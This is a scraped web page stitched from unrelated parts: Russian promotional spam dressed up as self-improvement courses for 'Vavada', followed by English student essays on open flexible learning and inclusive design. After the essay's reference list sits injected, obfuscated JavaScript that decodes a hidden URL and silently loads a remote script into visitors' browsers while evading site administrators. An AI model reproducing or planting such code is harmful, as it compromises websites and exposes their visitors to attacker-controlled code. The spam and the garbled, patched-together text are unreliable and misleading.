Ρ€Ρ‹Π½ΠΊΠ΅.

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Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚Π΅ свою Тизнь с Π’ΠΎΠ²Π°Π΄Π° Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ прямо сСйчас

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Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚Π΅ свою Тизнь с Π’ΠΎΠ²Π°Π΄Π° Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ сСйчас

Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚Π΅ свою Тизнь с Π’ΠΎΠ²Π°Π΄Π° Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ прямо сСйчас

Π’Ρ‹ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π°ΠΌ? Π‘ Π’ΠΎΠ²Π°Π΄Π° Ρƒ вас Π΅ΡΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ качСство своСй ΠΆΠΈΠ·Π½ΠΈ. Наши ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ ΠΏΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ, Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ своим Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ ΠΈ Π΄ΠΎΡΡ‚ΠΈΠ³Π½ΡƒΡ‚ΡŒ Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ†Π΅Π»Π΅ΠΉ.

НС ΠΎΡ‚ΠΊΠ»Π°Π΄Ρ‹Π²Π°ΠΉΡ‚Π΅ Π½Π° ΠΏΠΎΡ‚ΠΎΠΌ! НачнитС сСйчас, ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΊΠ°ΠΊ ваши ΠΌΠ΅Ρ‡Ρ‚Ρ‹ становятся Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ. Π‘ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ шагом Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΡ€ΠΈΠ±Π»ΠΈΠΆΠ°Ρ‚ΡŒΡΡ ΠΊ своСму ΠΈΠ΄Π΅Π°Π»ΡŒΠ½ΠΎΠΌΡƒ Π―.

Как Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ подходящий курс Π’ΠΎΠ²Π°Π΄Π° для Π²Π°ΡˆΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ

Π’Ρ‹Π±ΠΎΡ€ подходящСго курса Π’ΠΎΠ²Π°Π΄Π° начинаСтся с Ρ‡Π΅Ρ‚ΠΊΠΎΠ³ΠΎ опрСдСлСния Π²Π°ΡˆΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ. ΠŸΠΎΡΡ‚Π°Ρ€Π°ΠΉΡ‚Π΅ΡΡŒ ΡΡ„ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Π΅ΠΌΡƒ ΠΈΠΌΠ΅Π½Π½ΠΎ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ: ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ Π½Π°Π²Ρ‹ΠΊΠΈ общСния, ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ ΠΏΡ€ΠΎΡ„Π΅ΡΡΠΈΡŽ ΠΈΠ»ΠΈ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΡ‚ΡŒ свои ΠΊΠΎΠΌΠΏΠ΅Ρ‚Π΅Π½Ρ†ΠΈΠΈ. Π—Π°ΠΏΠΈΡˆΠΈΡ‚Π΅ ваши Ρ†Π΅Π»ΠΈ, это ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΡΡƒΠ·ΠΈΡ‚ΡŒ ΠΊΡ€ΡƒΠ³ поиска.

Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ шаг – ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с прСдлоТСниями курсов. На сайтС Π’ΠΎΠ²Π°Π΄Π° Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Ρ€Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ уровням ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠΈ ΠΈ интСрСсам. ΠŸΡ€ΠΎΡ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ описаниС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ курса, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Π΅Π³ΠΎ содСрТаниС ΠΈ структуру.

Π’Π°ΠΆΠ½ΠΎ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ обучСния. Π’ΠΎΠ²Π°Π΄Π° ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ ΠΊΠ°ΠΊ ΠΎΠ½Π»Π°ΠΉΠ½-курсы, Ρ‚Π°ΠΊ ΠΈ ΠΎΡ‡Π½Ρ‹Π΅ занятия. ΠŸΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅, ΠΊΠ°ΠΊΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π²Π°ΠΌ ΡƒΠ΄ΠΎΠ±Π½Π΅Π΅: Π²Ρ‹ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°Π΅Ρ‚Π΅ ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ Π² своСм Ρ‚Π΅ΠΌΠΏΠ΅, ΠΈΠ»ΠΈ Π²Π°ΠΌ Π²Π°ΠΆΠ½Π° личная ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° прСподаватСля ΠΈ взаимодСйствиС с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ участниками?

Π‘Ρ€Π°Π²Π½ΠΈΡ‚Π΅ ΠΎΡ‚Π·Ρ‹Π²Ρ‹ студСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΠΆΠ΅ ΠΎΠΊΠΎΠ½Ρ‡ΠΈΠ»ΠΈ курсы. Π˜Ρ… ΠΎΠΏΡ‹Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ прСдставлСниС ΠΎ качСствС обучСния ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°Ρ…. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° достиТСния выпускников: насколько ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΎΠ½ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π»ΠΈ свои знания Π² ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅.

НС Π·Π°Π±ΡƒΠ΄ΡŒΡ‚Π΅ ΠΎ Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ курса ΠΈ Π΅Π³ΠΎ интСнсивности. Π’ зависимости ΠΎΡ‚ вашСго расписания ΠΈ доступного Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ курс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠ΄ΠΎΠ±Π½ΠΎ вписываСтся Π² Π²Π°ΡˆΡƒ Тизнь. Π£Π΄ΠΎΡΡ‚ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Ρƒ курса Π΅ΡΡ‚ΡŒ Ρ‡Π΅Ρ‚ΠΊΠΎΠ΅ расписаниС ΠΈ структура, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅.

НаконСц, ΡƒΡ‚ΠΎΡ‡Π½ΠΈΡ‚Π΅ ΡΡ‚ΠΎΠΈΠΌΠΎΡΡ‚ΡŒ курса ΠΈ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΠΏΠ»Π°Ρ‚Ρ‹ Π² рассрочку. Π’ΠΎΠ²Π°Π΄Π° часто ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ прСдлоТСния ΠΈ скидки, поэтому стоит ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ Π² курсС Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… Π°ΠΊΡ†ΠΈΠΉ. Π’Ρ‹Π±ΠΈΡ€Π°ΠΉΡ‚Π΅ курс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ Π²Π°ΠΌ ΠΏΠΎ Π±ΡŽΠ΄ΠΆΠ΅Ρ‚Ρƒ ΠΈ соотвСтствуСт вашим цСлям.

ПошаговоС руководство ΠΏΠΎ Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΡŽ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ с Π’ΠΎΠ²Π°Π΄Π°

ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ шаг ΠΊ измСнСниям – ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ†Π΅Π»Π΅ΠΉ. ВыяснитС, Ρ‡Π΅Π³ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π’ΠΎΠ²Π°Π΄Π°. Π‘ΡƒΠ΄ΡŒΡ‚Π΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ ΠΈ рСалистичны Π² своих оТиданиях.

Π’Ρ‚ΠΎΡ€ΠΎΠΉ шаг Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² исслСдовании возмоТностСй ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹. ΠžΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с функциями ΠΈ инструмСнтами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ Π’ΠΎΠ²Π°Π΄Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ эффСктивно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Π² своих интСрСсах.

Π’Ρ€Π΅Ρ‚ΠΈΠΉ шаг – созданиС ΠΏΠ»Π°Π½Π° дСйствий. Π—Π°ΠΏΠΈΡˆΠΈΡ‚Π΅ всС этапы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€ΠΎΠΉΡ‚ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ поставлСнных Ρ†Π΅Π»Π΅ΠΉ. Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ ΠΏΠ»Π°Π½ рСалистичСн ΠΈ содСрТит Ρ‡Π΅Ρ‚ΠΊΠΈΠ΅ сроки выполнСния.

Π§Π΅Ρ‚Π²Π΅Ρ€Ρ‚Ρ‹ΠΉ шаг – Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ. НачинайтС Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ свой ΠΏΠ»Π°Π½, рСгулярно контролируя прогрСсс ΠΈ ΠΏΡ€ΠΈ нСобходимости коррСктируя свои дСйствия.

ΠŸΡΡ‚Ρ‹ΠΉ шаг – Π°Π½Π°Π»ΠΈΠ· Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ². ПослС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ этапа ΠΎΡ†Π΅Π½ΠΈΠ²Π°ΠΉΡ‚Π΅ достигнутыС Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Π° Ρ‡Ρ‚ΠΎ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π΄ΠΎΡ€Π°Π±ΠΎΡ‚ΠΊΠΈ.

ШСстой шаг – постоянноС ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Π½ΠΈΠ΅. Π’Π½Π΅Π΄Ρ€Π΅Π½Π½Ρ‹Π΅ измСнСния Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ рСгулярного Π°Π½Π°Π»ΠΈΠ·Π° ΠΈ обновлСния. Π‘ΡƒΠ΄ΡŒΡ‚Π΅ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ Π°Π΄Π°ΠΏΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΈ Π²Π½ΠΎΡΠΈΡ‚ΡŒ измСнСния для достиТСния Π»ΡƒΡ‡ΡˆΠΈΡ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ².

Для получСния Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ посСтитС vavada ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ сайт, Π³Π΄Π΅ Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ мноТСство ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… рСсурсов ΠΈ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΉ.

Как ΠΈΠ·ΠΌΠ΅Ρ€ΡΡ‚ΡŒ прогрСсс ΠΈ Π΄ΠΎΡΡ‚ΠΈΠ³Π°Ρ‚ΡŒ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ²

Π’ΠΎΡ‚ нСсколько ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° прогрСссом:

  1. ΠžΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Π΅ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ ΠΌΠ΅Ρ‚Ρ€ΠΈΠΊΠΈ: Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΠΈΠ»ΡƒΡ‡ΡˆΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΎΡ‚Ρ€Π°ΠΆΠ°ΡŽΡ‚ ваш прогрСсс. Π­Ρ‚ΠΎ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ количСство Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹Ρ… Π·Π°Π΄Π°Ρ‡, измСнСния Π² физичСском состоянии ΠΈΠ»ΠΈ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅ Π½Π°Π²Ρ‹ΠΊΠΎΠ².
  2. Π’Π΅Π΄ΠΈΡ‚Π΅ Π΄Π½Π΅Π²Π½ΠΈΠΊ: ЗаписывайтС свои успСхи ΠΈ Π½Π΅ΡƒΠ΄Π°Ρ‡ΠΈ. Π”Π½Π΅Π²Π½ΠΈΠΊ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ измСнСния ΠΈ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ сработало, Π° Ρ‡Ρ‚ΠΎ Π½Π΅Ρ‚.
  3. УстанавливайтС Ρ‡Π΅Ρ‚ΠΊΠΈΠ΅ Ρ†Π΅Π»ΠΈ: Π€ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€ΡƒΠΉΡ‚Π΅ SMART-Ρ†Π΅Π»ΠΈ (ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅, ΠΈΠ·ΠΌΠ΅Ρ€ΠΈΠΌΡ‹Π΅, достиТимыС, Ρ€Π΅Π»Π΅Π²Π°Π½Ρ‚Π½Ρ‹Π΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π²ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ). НапримСр, “ΠΏΠΎΡ‚Π΅Ρ€ΡΡ‚ΡŒ 5 ΠΊΠ³ Π·Π° Ρ‚Ρ€ΠΈ мСсяца” ΠΈΠ»ΠΈ “ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ 12 ΠΊΠ½ΠΈΠ³ Π² Π³ΠΎΠ΄”.
  4. РСгулярно пСрСсматривайтС Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹: ΠŸΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚Π΅ Π΅ΠΆΠ΅Π½Π΅Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΈΠ»ΠΈ СТСмСсячныС ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ†Π΅Π½ΠΈΡ‚ΡŒ достигнутыС Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ ΠΈ внСсти ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΠ²Ρ‹ Π² ΠΏΠ»Π°Π½ дСйствий.

Для достиТСния ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² Ρ‚Π°ΠΊΠΆΠ΅ слСдуСт ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΉ:

  • Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ систСму ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ: ΠžΠ±ΡΡƒΠΆΠ΄Π°ΠΉΡ‚Π΅ свои Ρ†Π΅Π»ΠΈ с Π±Π»ΠΈΠ·ΠΊΠΈΠΌΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ ΠΌΠΎΠ³Π»ΠΈ вас ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΈ ΠΌΠΎΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.
  • НС Π±ΠΎΠΉΡ‚Π΅ΡΡŒ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ свой ΠΏΠ»Π°Π½: Если Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π½Π΅ срабатываСт, Π½Π΅ ΡΡ‚Π΅ΡΠ½ΡΠΉΡ‚Π΅ΡΡŒ Π²Π½ΠΎΡΠΈΡ‚ΡŒ измСнСния Π² ΡΡ‚Ρ€Π°Ρ‚Π΅Π³ΠΈΡŽ.
  • ΠŸΡ€Π°Π·Π΄Π½ΡƒΠΉΡ‚Π΅ достиТСния: КаТдоС малСнькоС достиТСниС заслуТиваСт признания ΠΈ поощрСния. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ ΠΌΠΎΡ‚ΠΈΠ²Π°Ρ†ΠΈΡŽ.

БлСдуя этим рСкомСндациям, Π²Ρ‹ смоТСтС Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΠ·ΠΌΠ΅Ρ€ΡΡ‚ΡŒ свой прогрСсс, Π½ΠΎ ΠΈ Π΄ΠΎΡΡ‚ΠΈΠ³Π°Ρ‚ΡŒ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² Π½Π° ΠΏΡƒΡ‚ΠΈ ΠΊ своим цСлям.

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Showcase Post

The internet today has made the world today to be a global village through various trends in communication and technological advances. In the teaching and learning world advances have been made which are making the process easy and more convenient to relevant stakeholders such as students, teachers and many more. One of the advances is the Flexible Learning for Open Education (FLOE) which is a modern platform that links educational resources to students from all parts of the world. This platform tries to reduce barriers in learning among students and knowledge seekers in the globe. The platform offers solution to many problems experienced by learners as it accommodates almost all individual differences exhibited by learners.

FLOE provides alternative sources and means of delivery of knowledge other than the traditional way of learning. In this method the learner is the chief determinant how and when the learning will take place as he or she is the one who has control of the learning process Priestley , (2019).The flexible learning gives the learner a variety of resources to study and do his or her own research. Furthermore the resource are easily accessible and at no any extra cost since it is free of charge. The learner or researcher has the freedom to choose what is most appropriate to use, at what time, duration among many options that exist. Therefore learning can take place even in odd hours like at night as per the wish of the learner.

The flexible learning for open education has a number of preferences that make it one of the best methods of gaining knowledge. First it offers editing preferences to the user through the presence of editing tools that help learners to personalize their learning experiences. This is facilitated by existence of strong user interface options that help to personalize content according to their need. As learners use this platform they tend to understand themselves better every time they use the platform. With time and exposure learners will be able to know which is the best method to use and most convenient so that they can maximize the platform. For instance one may prefer written resources over audio ones, hence the learner will identify self which is the best personalization he or she fits from the FLOE.

The flexible learning for open education method of learning enables learners to assess themselves in an easy way McGreal, (2016). This is possible because the learner is able to track his or her progress due to the personalized preference option available. Hence one can monitor his or her own progress and come up with better ways to learn in case there is no progress. In addition to that there is a preference management tool that manages the preferences of users hence personal preferences cannot be shared to other users who may access learners’ devices. Personal devices such as phones, PCs may fall into foreign hands and take advantage to use the platform for ill use. As a measure to prevent the said problems there is a global public inclusive structure that gives the user total control of who has access to personal preferences.

The FLOE has a number of instructional methods that the learner chooses and prefers i.e. ranging from audio, visual and audiovisual methods Simpson, (2018). The sonification framework enables developers to create audio presentations to be used by learners and researchers. Therefore one can listen or download audio files to get the content he or she needs. On the other hand it equipped with HTML5 video player which enables users to access content in video form. The videos help in demonstration, explanation and give clarification in case one hasn’t understood something. It also gives feedback to personal questions about personal preferences asked by users. Besides that it gives room to learners to give their own opinions or missing preferences in the platform.

The text to speech component is another important component to the flexible learning program in the teaching and learning process. This component enables users to transform content from text to audio if there is need or preference by the student. The component is part of the inclusive plan since it caters for visually impaired individuals who can here.

In conclusion FLOE program is one of the 21stΒ century measures to enable accessibility of resources especially learning resources many individuals in the world today. Inclusivity is very important today as we are all equal and we need to get services and materials equally without any form of discrimination.

 

References

Priestley, R., Dohaney, J., Atkins, C., Salmon, R., & Robinson, K. (2019). Engaging new Antarctic learners and ambassadors through flexible learning, open education and immersive video lectures. Polar Record, 55(4), 274-288.

Simpson, O. (2018). Supporting students in online, open and distance learning. Routledge.

McGreal, R., Anderson, T., & Conrad, D. (2016). Open educational resources in Canada. Open Educational Resources: Policy, Costs and, 63.(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

Reflection 4

Inclusive learning design is essential in allowing the student to understand better the concepts that he or she is being taught. It has been described as a situation whereby all the students placed in classes that are age-appropriate for them all to relay high-quality instructions, interventions, and supportive curriculum. At the end of the day, the process allows students to be informed on different skills such as time management, decision-making skills as well as ways to improve oneselfΒ (Centre, 2017). One of the main concepts of inclusive learning design is the use of a variety of instructional formats that will be flexible with diverse students. Some students are quick to learn using a certain teaching design such as experiments while others are quick to learn by the use of theories. It must incorporate different instructional methods to have optimal results.

The other main idea of inclusive learning design has to be accessible to academic curricular content. Students have the liberty to engage in group discussions which is an integral part of enabling the students to understand the content better. This way the students can learn of the instructions and implement them by starting the activitiesΒ (McManis, 2020). This will not only keep the latter in track for the lessons but will also allow a better learning experience. The other main idea for inclusive learning has to be the emotional aspects of the learning process. Students must be emotionally stable for them to be able to learn. This entails engaging in activities that will not negatively affect students. Also, the social activities that can be done in discussion groups play an important aspect of inclusive learning design.

During my study and review of the inclusive learning design and my experience through it, I have realized that there are some aspects that I found hard to comprehend. They are the main issues that border the entire process of inclusive learning design (Centre, 2017). One is how to deal with the instance of death. This may either one of the students, tutors, friends or other people in close proximity. It is not outlined well how any of the instances should be handled. However, it is important to recognize the effect of death on the learning process.

One of the other aspects that I found hard to comprehend is how rigid the curriculum will help in improving the students becoming better. Some of the curricula in the design are extremely rigid by the fact that it does allow for any form of experimentation (Centre, 2017). It is extremely hard for students to decipher some of the concepts if it does not include other aspects such as experimentation.
